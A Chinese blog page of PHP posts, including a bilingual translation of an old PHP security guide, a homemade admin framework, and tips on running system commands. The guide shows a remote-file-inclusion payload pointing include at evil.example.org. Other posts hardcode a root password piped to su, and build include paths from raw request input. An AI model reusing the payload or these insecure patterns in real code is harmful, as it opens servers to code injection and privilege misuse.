Posts tagged php

PHP Security / Overview / Register Globals

0

Register Globals

Register Globals

The register_globals directive is disabled by default in PHP versions 4.2.0 and greater. While it does not represent a security vulnerability, it is a security risk. Therefore, you should always develop and deploy applications with register_globals disabled.

在 PHP 4.2.0 以及更高版本里,register_globals 选项默认就是禁用的。虽然这个选项并不意味就着是安全漏洞,不过它确实是一个安全隐患。因此,你在开发、部署程序的时候应该总是禁用 register_globals 选项。

Why is it a security risk? Good examples are difficult to produce for everyone, because it often requires a unique situation to make the risk clear. However, the most common example is that found in the PHP manual:

为什么说这个选项是一个安全隐患呢?如果要给所有人都讲清楚这个安全隐患,通常情况下需要给每个人一个特定的环境,所以很难找到一个适合所有人的例子。不过,PHP 手册里面的例子是最通用的:

1
2
3
4
5
6
7
8
9
10
<?php
if (authenticated_user())
{
$authorized = true;
}
if ($authorized)
{
include '/highly/sensitive/data.php';
}
?>

With register_globals enabled, this page can be requested with ?authorized=1 in the query string to bypass the intended access control. Of course, this particular vulnerability is the fault of the developer, not register_globals, but this indicates the increased risk posed by the directive. Without it, ordinary global variables (such as $authorized in the example) are not affected by data submitted by the client. A best practice is to initialize all variables and to develop with error_reporting set to E_ALL, so that the use of an uninitialized variable won’t be overlooked during development.

如果 register_globals 启用了,那么请求这个页面的时候,在查询字符串中附加上 ?authorized=1 就能够越过预期的访问控制。当然了,这个特定的漏洞是开发者的失误,而不是 register_globals 的错误,不过这说明了直接传值所增加的风险。如果不这样做,正常的全局变量 ( 比如例子中的 $authorized ) 就不受客户端提交的数据影响了。最好的习惯就是初始化所有变量,并且在开发的时候把 error_reporting 设置成 E_ALL,这样在开发的时候就不会忽视对未初始化变量的使用了。

Another example that illustrates how register_globals can be problematic is the following use of include with a dynamic path:

下面一个例子说明了在 include 中使用动态路径的时候,register_globals 是如何出问题的:

1
2
3
<?php
include "$path/script.php";
?>

With register_globals enabled, this page can be requested with ?path=http%3A%2F%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following:

register_globals 启用的情况下,在查询字符串中附加 ?path=http%3A%2F%2Fevil.example.org%2F%3F 请求页面,这个例子就和下面的代码等价:

1
2
3
<?php
include 'http://evil.example.org/?/script.php';
?>

If allow_url_fopen is enabled (which it is by default, even in php.ini-recommended), this will include the output of http://evil.example.org/ just as if it were a local file. This is a major security vulnerability, and it is one that has been discovered in some popular open source applications.

如果启用了 allow_url_fopen 选项(这是默认设置,即使在 php.ini-recommended 中也是),这会像包含本地文件一样包含 http://evil.example.org/ 的输出结果。这是一个严重的安全漏洞,而且存在于很多流行的开源程序里面。

Initializing $path can mitigate this particular risk, but so does disabling register_globals. Whereas a developer’s mistake can lead to an uninitialized variable, disabling register_globals is a global configuration change that is far less likely to be overlooked.

初始化 $path 就能够降低这个风险,但是禁用 register_globals 效果也一样。鉴于程序员的失误能够引起未初始化的变量的错误,禁用全局变量 register_globals 可以避免这个风险被忽视。

The convenience is wonderful, and those of us who have had to manually handle form data in the past appreciate this. However, using the $_POST and $_GET superglobal arrays is still very convenient, and it’s not worth the added risk to enable register_globals. While I completely disagree with arguments that equate register_globals to poor security, I do recommend that it be disabled.

这个便利性真是太美好了,尤其是我们中一些以前需要手动处理表单数据的人会很喜欢这个功能的。虽然使用 $_POST$_GET 这两个超全局变量也很方便,但是还不值得冒风险去启用 register_globals。尽管我完全不赞同关于把 register_globals 和薄弱的安全性等同起来,但是我还是强烈推荐禁用这个选项。

In addition to all of this, disabling register_globals encourages developers to be mindful of the origin of data, and this is an important characteristic of any security-conscious developer.

最后要说的是,禁用 register_globals 鼓励开发者留心数据的来源,这是一个有着安全意识的开发者的一个重要的特征。

在 Bluehost 主机上修改时区

0

Bluehost 主机上用 Serendipity 做 Blog,一切都很满意,就是时区的问题。虽然 configure 里面能够设置时区偏移量,但是 RSS 输出后都是 GMT 时间,但是大部分 RSS Reader 都没有做过设置,一个朋友就经常看见我写的 Blog 在未来发表的!

修改时区最好的方法就是修改 php.ini 里面的 date.timezone 属性就可以了,这样可以不修改任何程序。但是只支持 PHP5 或者更高版本,现在我的主机用的 PHP 版本是 4.4.4,不能用。当然也不能用 date_timezone_set() 这样的函数了。

不过发现一个也不算麻烦的方法。代码如下:putenv("TZ=PRC");

putenv() 函数用得不多,所以开始也没有考虑到。不过官方的手册里面居然没有找到都能设置什么环境变量,只有其他的相关函数里面零星的介绍。

PHP Security / Overview / Basic Steps

0

Basic Steps

基本步骤

  • Consider illegitimate uses of your application.

    A secure design is only part of the solution. During development, when the code is being written, it is important to consider illegitimate uses of your application. Often, the focus is on making the application work as intended, and while this is necessary to deliver a properly functioning application, it does nothing to help make the application secure.

  • 考虑非法用户。

    安全性设计仅仅是整体解决方案的一部分。在开发过程中,特别是书写代码的时候,考虑非法用户是非常重要的。通常情况下,注意力都是在如何让程序按照预期的想法工作,虽然这对交付一个能够正常运行的程序来说是必要的,但是这对让程序变安全是没有任何作用的。

  • Educate yourself.

    The fact that you are here is evidence that you care about security, and as trite as it may sound, this is the most important step. There are numerous resources available on the Web and in print, and I mention several of these at the end of this talk.

  • 自学。

    你现在在看这本书的事实,说明了你关心安全问题,虽然就和听起来一样老生常谈,这是最重要的步骤。网上有非常多的资源,也有很多出版物,在最后我会提到一些。

  • If nothing else, FILTER ALL FOREIGN DATA.

    Data filtering is the cornerstone of Web application security in any language and on any platform. By initializing your variables and filtering all data that comes from a foreign source, you will address a majority of security vulnerabilities with very little effort. A whitelist approach is better than a blacklist approach. This means that you should consider all data invalid unless it can be proven valid (rather than considering all data valid unless it can be proven invalid).

  • 如果没有其他可作的,那么就*过滤所有的外来数据*。

    不论什么语言,什么平台,数据过滤都是 Web 程序安全的基础。通过初始化变量和过滤所有外来数据的方式,你就能够用很小的代价定位到一个主要的安全漏洞。白名单方式要好于黑名单方式。也就是说,你应该假设所有的数据都是不合法的,除非能够证明这个数据是合法的(而不是说只要不能证明数据非法就认为是合法的。

PHP Security / Overview / What Is Security?

0

What Is Security?

安全究竟是什么?

  • Security is a measurement, not a characteristic.

    It is unfortunate that many software projects list security as a simple requirement to be met. Is it secure? This question is as subjective as asking if something is hot.

  • 安全是一种量度,而不是一种特征。

    不过很不幸的是,很多软件项目都把安全性列为一个简单的需求。这个程序是否安全?这是一个非常主观的问题,就像问一个物品是不是热的一样主观。

  • Security must be balanced with expense.

    It is easy and relatively inexpensive to provide a sufficient level of security for most applications. However, if your security needs are very demanding, because you’re protecting information that is very valuable, then you must achieve a higher level of security at an increased cost. This expense must be included in the budget of the project.

  • 安全性要和花费想平衡。

    为大多数应用程序提供足够的安全性是很简单的,也相对便宜的。不过,如果因为你要保护非常有价值的信息导致你的安全需求非常高,那么你必须要付出更多的代价以提高安全级别。这些费用必须包含在你的项目预算里面。

  • Security must be balanced with usability.

    It is not uncommon that steps taken to increase the security of a Web application also decrease the usability. Passwords, session timeouts, and access control all create obstacles for a legitimate user. Sometimes these are necessary to provide adequate security, but there isn’t one solution that is appropriate for every application. It is wise to be mindful of your legitimate users as you implement security measures.

  • 安全性要和易用性相平衡.

    有一个很常见的现象就是,有一些步骤增强了 Web 程序的安全性,也同时降低了程序的易用性。密码、会话超时以及访问控制这些都给合法用户造成了障碍。有时候这些障碍是提供足够的安全性所必要的,但是对于每一个程序来说,这个问题没有四海一家的解决之道。所以在你实现安全措施的时候,留心合法用户的反馈是很明智的。

  • Security must be part of the design.

    If you do not design your application with security in mind, you are doomed to be constantly addressing new security vulnerabilities. Careful programming cannot make up for a poor design.

  • 设计必须包含安全性。

    如果你一开始设计程序的时候大脑里没有安全意识的话,你的恶运来了,你要不断地定位新的安全漏洞在哪里。仔细的编程并不能弥补糟糕的设计。

开始翻译 PHP Security

0

PHP Security 是 2004 年 ApacheCon 上发布的一个 PHP 安全指南,写得还不错,最近正在看。虽然有点过时,但是大部分思想还是很不错的。

闲来无事,就准备翻译出来。看看国内好像提到这个的不少,但是翻译出来的还没有呢。

希望不是太丢人。偶还是中英文一起发布吧,省得因为偶得丢人的水平误人子弟,hoho~~~~

Links: PHP Security Slide Shows


Added on 03/14/2007

PS:很奇怪,开始翻译前没有找到任何中译本,但是开始翻译后居然找到了……郁闷。

PS2:找到的中译本地址:http://www.i-fang.com/php/php-security-guide-cn/index.html ,不过打不开……。但是找到了一个镜像:http://zhq.ahau.edu.cn/phpsafe/index.html

PS3:不过这个版本没有翻译完,偶还是翻译完吧。

PS4:偶保留偶认为自己翻译的比他好的权利,hiahia~~~~~

发布自己写的一个弱智 PHP 框架

0

最近给学校做一个院系的网站,很俗的,就是一个很简单的后台管理,前台页面的系统。后台主要功能就是新闻的增删改、页面的增删改、教授/教师信息的增删改以及用户的管理。考虑到这种系统可能对于小的业务来说比较常见,就是说分成几个模块,每个模块对应着一些动作的系统,所以自己写了一个简单的弱智框架,便于以后的开发。

对本系统进行功能分解,主要是新闻、页面、教授/教师信息、栏目、用户模块,每个模块基本上是增删改操作,有的模块有一些特别的操作。公共模块主要是登陆和权限验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Root
├─class
├─images
├─include
├─library
│  └─smarty
├─module
│  ├─category
│  ├─censor
│  ├─common
│  ├─page
│  ├─post
│  ├─professor
│  └─user
├─template
│  ├─cache
│  ├─compile
│  ├─config
│  ├─module
│  │  ├─category
│  │  ├─common
│  │  ├─page
│  │  ├─post
│  │  ├─professor
│  │  └─user
│  └─nugget
├─xinha
└─yui

系统结构如下:

  • index.php,主程序入口,所有程序都从 index.php 进入,便于以后增加对友好 url 等特性的支持;
  • class 文件夹放所有自己写的类库;
  • include 文件夹里面是一些需要 include 进来的东西,比如数据库常用函数等;
  • library 文件夹里面是第三方类库,这个系统比较小,就只有 Smarty 模版系统;
  • module 文件夹为所有模块的 PHP 文件,
    • 每个模块对应着一个文件夹,例如新闻模块对应 post 文件夹;
    • 每个模块的一个动作着一个同名文件,例如显示新增新闻页面,对应 insert.php 文件,插入新闻则对应着 insert.do.php 文件;
    • 每个模块文件夹下面如果有 common.php、preproc.php、postproc.php 文件则特别处理,参见 index.php 文件;
    • 每个模块文件夹下面其他的文件则可以自己设定,比如一个模块公共表单验证等;
  • template 文件夹,Smarty 的模版文件,
    • cache、compile、config,都是 Smarty 要求的,呵呵;
    • module 子文件夹,和上面的 module 文件夹差不多,也是一个模块对应一个文件夹,一个页面对应一个模版文件。
    • nugget 子文件夹,放一些 HTML nugget 了,比如 header、title、footer、menu 这些;
  • 根文件夹下面还有 images、styles 等不需要特别解析的文件夹,注:yui文件夹里面是 Yahoo! UI Library 的发布版,很好的东东,推荐使用 :-) ,xinha 以前已经介绍过了。

index.php 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
require_once "config.php";
require_once $ABSOLUTE_PATH . "common.php";

$pageModule = new PageModule();

// get module and action value
$module = isset($_REQUEST["module"]) ? $_REQUEST["module"] : null;
$action = isset($_REQUEST["action"]) ? $_REQUEST["action"] : "default";

if (!$pageModule->isLogin() && ($module != "common" && $action != "login.do" )) {
  $module = "common";
  $action = "login";
} else {
  if ($module == null) {
    $module = "common";
  }
}

// load module common pre proccess code
$filename = $ABSOLUTE_PATH . "admin/module/" . $module . "/preproc.php";
if (file_exists($filename)) {
  require_once $filename;
}
// load module action specific code
$filename = $ABSOLUTE_PATH . "admin/module/" . $module . "/" . $action . ".php";
if (file_exists($filename)) {
  require_once $filename;
}
// load module common post proccess code
$filename = $ABSOLUTE_PATH . "admin/module/" . $module . "/postproc.php";
if (file_exists($filename)) {
  require_once $filename;
}

$tpl_module = $module;
$tpl_action = $action;
$tpl_msg = $pageModule->getMessage();
$tpl_pageModule = $pageModule;

// show smarty template
if ($pageModule->getTplFile()) {
  $pageModule->display();
} else {
  $tplFile = "module/" . $module . "/" . $action . ".html";
  $pageModule->setTplFile($tplFile);
  $pageModule->display();
}
?>

pageModule.php 文件,所有的页面逻辑都在这里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
<?php
class PageModule {
  /**
   * User information
   *
   * @var User
   */

  private $user = null;
  /**
   * Template class
   *
   * @var Template
   */

  private $tpl = null;
  /**
   * Page message
   *
   * @var Array()
   */

  private $message = array();

  /**
   * Setup user and tempalte
   */

  public function __construct() {
    if (isset($_SESSION["user"])) {
      $this->user = $_SESSION["user"];
    } else {
      $this->user = new User();
    }
    $this->tpl = new Template();
  }
 
  /**
   * Set user to this object and session
   *
   * @param User $argUser User information
   */

  public function setUser($argUser) {
    $this->user = $argUser;
    session_register("user");
    $_SESSION["user"] = $this->user;
  }
 
  /**
   * Get session user
   *
   * @return User user User information
   */

  public function getUser() {
    return $this->user;
  }
 
  /**
   * Get proccessed request array
   *
   * @param array $argHtml An array of variables that DON'T need to be convert all applicable characters to HTML entities
   * @param boolean $argTrim Whether need to be trimed, default is true
   */

  public function getRequest($argHtml = null, $argTrim = true) {
    $request = array();
    foreach($_REQUEST as $key => $value) {
      if (is_array($value)) {
        $request[$key] = $value;
      } elseif (is_numeric($value)) {
        $request[$key] = floatval($value);
      } else {
        if ($argTrim) {
          $value = trim($value);
        }
        if ($argHtml) {
          if (in_array($key, $argHtml)) {
            // do nothing
          } else {
            // TODO:
            //$value = htmlentities($value);
          }
        }
        $request[$key] = $value;
      }
    }
    return $request;
  }
 
  /**
   * Is login...
   *
   * @return boolean User login status
   */

  public function isLogin() {
    if ($this->user == null) {
      return false;
    } else {
      return $this->user->isValid();
    }
  }
 
  /**
   * Template var setter
   *
   * @param String $argTplFile Templater file name
   */

  public function setTplFile($argTplFile) {
    $this->tpl->setTplFile($argTplFile);
  }
 
  /**
   * Template var getter
   *
   * @return String Templater file name
   */

  public function getTplFile() {
    return $this->tpl->getTplFile();
  }
 
  /**
   * Redirect
   *
   * @param unknown_type $argPage Redirect URL
   */

  public function redirect($argPage) {
    if ($this->message) {
      session_register("message");
      $_SESSION["message"] = $this->message;
    }
    header("Location: " . $argPage);
    exit();
  }
 
  /**
   * Display template
   *
   * @param boolean $isContinue Whether to continut this programe after template shown
   */

  public function display($isContinue = false) {
    global $tpl_msg;
    if (isset($_SESSION["message"])) {
      $this->message = array_merge($_SESSION["message"], $this->message);
      unset($_SESSION["message"]);
    }
    $tpl_msg = $this->getMessage();
    $this->tpl->display($isContinue);
  }
 
  /**
   *
   */

  public function getRedirect() {
    $redirect_url = $_SERVER["REDIRECT_URL"];
    $request_uri = $_SERVER["REQUEST_URI"];
    if (strlen($redirect_url) > 0 && $redirect_url != $request_uri) {
      return $redirect_url;
    } else {
      return "index.php";
    }
  }
 
  /**
   * Add a message to message pool
   *
   * @param String $argType Message type, info, warning, error
   * @param unknown_type $argText Message text
   * @param unknown_type $argLink Any links
   */

  public function addMessage($argType = "info", $argText = "", $argLink = array()) {
    $i = count($this->message);
    $this->message[$i] = array(
      "type" => $argType,
      "text" => $argText,
      "link" => $argLink
      );
  }
 
  /**
   * Message getter
   */

  public function getMessage() {
    return $this->message;
  }
 
  /**
   * The same as assign() in Smarty
   */

  public function tplAssign($argName, $argVars) {
    $this->tpl->assign($argName, $argVars);
  }
}
?>

其他的,pageModule 里面定义了一个 message 变量,可以向页面传递要提示的信息;Template 类,对 Smarty 类的简单继承,省得每次都设置 Smarty 的参数。

而且借鉴了 dotProject 中的 DpObject 类,所有的模块的类都继承自这个类,嗯,添加删除什么的就很简单了,只要 $post->store() 或者 $post->delete() 就行了,hoho。

[LAMP] 页面以及显示 traceroute 的结果

0

今天遇到的一个问题,要求在一个页面中实时的显示 traceroute 的结果,因为这个一般会比较长时间运行,所以要求立即显示,这样就需要对输出进行控制。

第一次想的是,用一个隐藏 iframe,然后 iframe 定时刷新,取出数据来。这样的问题是不知道什么时候结束,就会一直刷新下去,直到用户点击另一个页面。

然后改用输出控制,首先使用 flush(),但是没有任何效果。后改用 ob_ 这一些系列函数。达到了我要的效果。

程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
    <head>
        <title>Traceroute</title>
    </head>
    <body>
        <table border="1">
            <tr>
                <td>Traceroute</td>
                <td><span id="result"></span></td>
            </tr>
        </table>
    </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
    ob_implicit_flush ();
    $cmd = "traceroute www.google.com";
    $fd = popen($cmd, "r");
    $result = "";
    if ($fd) {
        while ($buffer = fgets($fd, 4)) {
            $result .= $buffer;
            ob_start("test");
            echo "<script> result.innerHTML = \"" . str_replace("\n", "", nl2br(htmlspecialchars($result))) . "\";</script>\n";
            ob_flush();
        }
    }
    pclose($fd);
?>

[LAMP] 让 PHP 执行 root 权限的指令

0

今天下午 Mito 在 QQ上问我如何用 PHP 执行系统指令,还要 root 权限,原来是他们老板要管理员通过 Web 修改系统时间日期……无语中,这个要求真 TMD 变态。

不过这个问题我也不会,测试一下重定向和管道技术把密码发给 su 指令,提示信息是:

1
su: must be run from a terminal

不过想想也是正常,安全问题嘛,小心为好。不过还是不死心,搜索了一下解决方法。

其中让 PHP 执行系统命令有以下几种方法:

  1. string system (string command [, int return_var]);
  2. string exec (string command [, string array [, int return_var]]);
    (以上两个傻子都知道)
  3. void passthru (string command [, int return_var]);

    这个有点新鲜,说明是:passthru() 只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以 passthru() 函数经常用来调用象 pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

    实例:

    1
    2
    3
    4
    <?php
        header("Content-type: image/gif");
        passthru("./ppmtogif hunte.ppm");
    ?>
  4. 用“`”符号,这个……估计呆子也能知道,居然那个网站还觉得是秘籍……汗ing

最重要的,也是解决 root 权限的方法,就是使用 popen() 函数打开进程。

原网站上说明如下:上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加 Linux 的系统用户时,要调用 su 来把当前用户换到 root 才行,而 su 命令必须要在命令行上输入 root 的密码。这种情况下,用上面提到的方法显然是不行的。popen() 函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在 PHP3 中,对这种句柄只能做单一的操作模式,要么写,要么读;从 PHP4 开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用 pclose() 函数来关闭它。

实例:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
    /* PHP中如何增加一个系统用户
       下面是一段例程,增加一个名字为james的用户, root密码是 verygood。仅供参考 */

    $sucommand = "su --login root --command";
    $useradd = "useradd ";
    $rootpasswd = "verygood";
    $user = "james";
    $user_add = sprintf("%s "%s %s"", $sucommand, $useradd, $user);
    $fp = @popen($user_add, "w");
    @fputs($fp, $rootpasswd);
    @pclose($fp);
?>

[LAMP] DotProject 1.0.2-1 Linux中甘特图中文显示成乱码的问题解决方案

0

呵呵,好久没有写技术文章了。今天开始恢复吧。

从星期开始这一个月我的任务是修改 dotProject 以适应公司的应用,哈哈,可以正大光明的玩偶最喜欢的 PHP 了,开心啊。

第一个任务就是修改里面项目甘特图中中文乱码的问题。

原始的效果如下:

其中的乱码应该是“测试任务”

明显的 PHP 的 GD 库对中文支持的 bug,呵呵。上网搜索解决方法,在一个台湾网站上找到解决方法,根据和中文版的对应,修改方法如下:

  1. 找到 Linux 下存放字体的路径,我的系统是 /usr/X11R6/lib/X11/fonts/,然后找到 c:\window\fonts\,拷贝 sinsum.ttc 到这个目录下并且改名为 simsun.ttf。

  2. 修改 dotProject/lib/jpgraph/src/jpgraph.php

    L 27,把原来的 DEFINE("TTF_DIR","/usr/X11R6/lib/X11/fonts/truetype/");修改为 DEFINE("TTF_DIR","/usr/X11R6/lib/X11/fonts/");

    L176,在 DEFINE("FF_TREBUCHE",17); 后面增加一行 DEFINE("FF_SIMSUN", 18);

    L1786,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    function TTF() {
        $this->style_names=array(FS_NORMAL=>'normal', FS_BOLD=>'bold', FS_ITALIC=>'italic', FS_BOLDITALIC=>'bolditalic');
        // File names for available fonts
        $this->font_files=array(
            FF_COURIER => array(FS_NORMAL=>'cour', FS_BOLD=>'courbd', FS_ITALIC=>'couri', FS_BOLDITALIC=>'courbi' ),
            FF_GEORGIA => array(FS_NORMAL=>'georgia', FS_BOLD=>'georgiab', FS_ITALIC=>'georgiai', FS_BOLDITALIC=>'' ),
            FF_TREBUCHE => array(FS_NORMAL=>'trebuc', FS_BOLD=>'trebucbd', FS_ITALIC=>'trebucit', FS_BOLDITALIC=>'trebucbi' ),
            FF_VERDANA => array(FS_NORMAL=>'verdana', FS_BOLD=>'verdanab', FS_ITALIC=>'verdanai', FS_BOLDITALIC=>'' ),
            FF_TIMES => array(FS_NORMAL=>'times', FS_BOLD=>'timesbd', FS_ITALIC=>'timesi', FS_BOLDITALIC=>'timesbi' ),
            FF_COMIC => array(FS_NORMAL=>'comic', FS_BOLD=>'comicbd', FS_ITALIC=>'', FS_BOLDITALIC=>'' ),
            FF_ARIAL => array(FS_NORMAL=>'arial', FS_BOLD=>'arialbd', FS_ITALIC=>'ariali', FS_BOLDITALIC=>'arialbi' )
        );
    }

    修改为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function TTF() {
        $this->style_names=array(FS_NORMAL=>'normal', FS_BOLD=>'bold', FS_ITALIC=>'italic', FS_BOLDITALIC=>'bolditalic');
        // File names for available fonts
        $this->font_files=array(
            FF_COURIER => array(FS_NORMAL=>'cour', FS_BOLD=>'courbd', FS_ITALIC=>'couri', FS_BOLDITALIC=>'courbi' ),
            FF_GEORGIA => array(FS_NORMAL=>'georgia', FS_BOLD=>'georgiab', FS_ITALIC=>'georgiai', FS_BOLDITALIC=>'' ),
            FF_TREBUCHE =>array(FS_NORMAL=>'trebuc', FS_BOLD=>'trebucbd', FS_ITALIC=>'trebucit', FS_BOLDITALIC=>'trebucbi' ),
            FF_VERDANA => array(FS_NORMAL=>'verdana', FS_BOLD=>'verdanab', FS_ITALIC=>'verdanai', FS_BOLDITALIC=>'' ),
            FF_TIMES => array(FS_NORMAL=>'times', FS_BOLD=>'timesbd', FS_ITALIC=>'timesi', FS_BOLDITALIC=>'timesbi' ),
            FF_COMIC => array(FS_NORMAL=>'comic', FS_BOLD=>'comicbd', FS_ITALIC=>'', FS_BOLDITALIC=>'' ),
            FF_ARIAL => array(FS_NORMAL=>'arial', FS_BOLD=>'arialbd', FS_ITALIC=>'ariali', FS_BOLDITALIC=>'arialbi' ),
            FF_SIMSUN => array(FS_NORMAL=>'simsun', FS_BOLD=>'simsun', FS_ITALIC=>'simsun', FS_BOLDITALIC=>'simsun' )
        );
    }
  3. 修改 dotProject/lib/jpgraph/src/jpgraph_gantt.php

    L413,把 var $iFFamily=FF_FONT1,$iFStyle=FS_NORMAL,$iFSize=10; 修改为 var $iFFamily=FF_SIMSUN,$iFStyle=FS_NORMAL,$iFSize=10;

    L429,把 $this->iText = $aTxt; 修改为 $this->iText = iconv("GB2312","UTF-8",$aTxt);

  4. 修改 dotProject/modules/tasks/gantt.php

    L201,把 $name = strlen( utf8_decode($a["task_name"]) ) > 25 ? substr( utf8_decode($a["task_name"]), 0, 22 ).'...' : utf8_decode($a["task_name"]) ; 修改为 $name = strlen( $a["task_name"] ) > 25 ? substr( $a["task_name"], 0, 22 ).'...' : $a["task_name"] ;

完成,刷新页面,结果如下:

一切OK。

开始看了那些大陆的帖子,都是讲在 Windows 下怎么处理的,只要把 FF_FONT 相关改成 FF_SIMSUN 就行了,那些台湾的帖子,只说到第 3 步就说 OK 了,后来想想,估计他们用的都是 big5 编码的关系。我们都是 GB2312。

然后再一个俄文站点上找到第4步的修改方法,成功~

哈哈

[LAMP] OSC admin_level_1.2 bug

0

hoho,早春二月,天气不错~放假终于有盼头了~。

发现 OSC 的 admin_level_1.2 的一个 bug。在 password_forgotten.php 的程序中,先执行忘记密码发送程序,然后才包含语言文件,导致发送出去的信件内容全是常量!

修改方法:把require (DIR_WS_LANGUAGES . $language . '/' . FILENAME_LOGIN);

放到require ('includes/application_top.php');

下面就行了~hoho

Go to Top